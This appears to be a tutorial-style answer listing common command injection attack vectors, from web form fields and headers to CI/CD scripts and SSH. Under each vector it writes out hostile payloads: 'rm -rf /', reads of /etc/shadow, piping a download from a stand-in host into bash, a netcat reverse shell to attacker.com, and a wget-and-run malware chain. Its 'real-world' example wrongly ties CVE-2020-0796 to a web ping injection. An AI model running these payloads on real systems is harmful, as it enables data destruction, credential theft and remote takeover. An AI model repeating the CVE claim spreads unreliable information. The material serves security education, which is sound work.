4. What are some of the most common attack vectors for command injection?

Command injection vulnerabilities often arise when applications improperly process user input, allowing attackers to execute arbitrary commands. The most common **attack vectors** for command injection are tied to how user-supplied input interacts with backend systems. Below are the key vectors attackers exploit:

---

1. Web Application Inputs

- **Forms**: Applications accepting input from web forms without validation.
  - Example: A form field that asks for a filename and passes it to a shell command, e.g.:

    ```
    cat user_input
    ```

    - Exploit: `filename; rm -rf /`
- **URL Parameters**: Vulnerabilities in URL query strings or REST APIs.
  - Example: `/api/data?cmd=ls`
    - Exploit: `/api/data?cmd=ls;cat /etc/passwd`
- **Cookies**: Tampering with application cookies.
  - Example:

    ```
    Cookie: session_id=xyz; cat /etc/shadow
    ```
- **HTTP Headers**:
  - User-Agent: Applications that log the `User-Agent` without sanitization.
  - Example:

    ```
    User-Agent: Mozilla; curl http://attacker.com
    ```

---

2. Command-Line Utilities

- Applications that call system commands like `cat`, `ping`, or `curl` with user input.
  - Example:

    ```
    ping -c 4 <user_input>
    ```

    - Exploit: `; curl http://malicious.com | bash`

---

3. File Upload and Path Manipulation

- **File Names**: Applications processing uploaded file names directly.
  - Example:

    ```
    mv uploads/$filename /var/www/uploads/
    ```

    - Exploit: `filename; rm -rf /`
- **Directory Traversal**:
  - Exploit: `../../../../etc/passwd`

---

4. Network Parameters

- Tools or scripts that accept input for network diagnostics like `ping` or `traceroute`.
  - Example:

    ```
    ping -c 4 <user_input>
    ```

    - Exploit: `127.0.0.1; ls /`

---

5. IoT Devices and APIs

- **Configuration Panels**: Many IoT devices use shell commands to process configurations.
- Example:

```
GET /admin/config?host=8.8.8.8; rm -rf /
```

---

6. Logging Mechanisms

- Applications that log user inputs without sanitization.
- **Examples**:
  - A vulnerable logging system might execute shell commands embedded in inputs:

    ```
    username=$(id)
    ```

---

7. Email Systems

- Exploiting email systems that pass headers or attachments directly to commands.
  - Example: Injecting commands in the `From` or `Subject` headers.

---

8. File Processing Systems

- Systems that process files or content, such as scripts that parse uploaded logs, configs, or emails.
- Example:

```
awk '{print $1}' <user_file>
```

- Exploit: Include shell metacharacters in `user_file`.

---

9. CI/CD Pipelines

- Injecting malicious commands in configuration files, build scripts, or test inputs.
- Example:

```
build:
  script: "echo $(rm -rf /)"
```

---

10. System Management Interfaces

- Management panels that allow command-line interactions for diagnostics or administrative tasks.
  - Example:

    ```
    Run diagnostics: echo $input
    ```

    - Exploit: `; nc -e /bin/bash attacker.com 4444`

---

11. SSH and Remote Commands

- Exploiting systems that pass inputs to SSH commands.
  - Example:

    ```
    ssh user@host "$(user_input)"
    ```

    - Exploit: `$(rm -rf /)`

Real-World Example: CVE-2020-0796

- Vulnerable web app parameter:

```
system("ping " + user_input)
```

- Attacker input:

```
127.0.0.1; wget http://attacker.com/malware -O /tmp/malware; chmod +x
/tmp/malware; /tmp/malware
```

Summary of Attack Vectors

1. Web inputs: Forms, URLs, cookies, headers.
2. Command-line utilities: Ping, traceroute.
3. File names and uploads.
4. Network diagnostics.
5. IoT configuration interfaces.

6. Logging mechanisms.
7. Email headers or file processors.
8. Build scripts or CI/CD systems.
9. Administrative panels and SSH.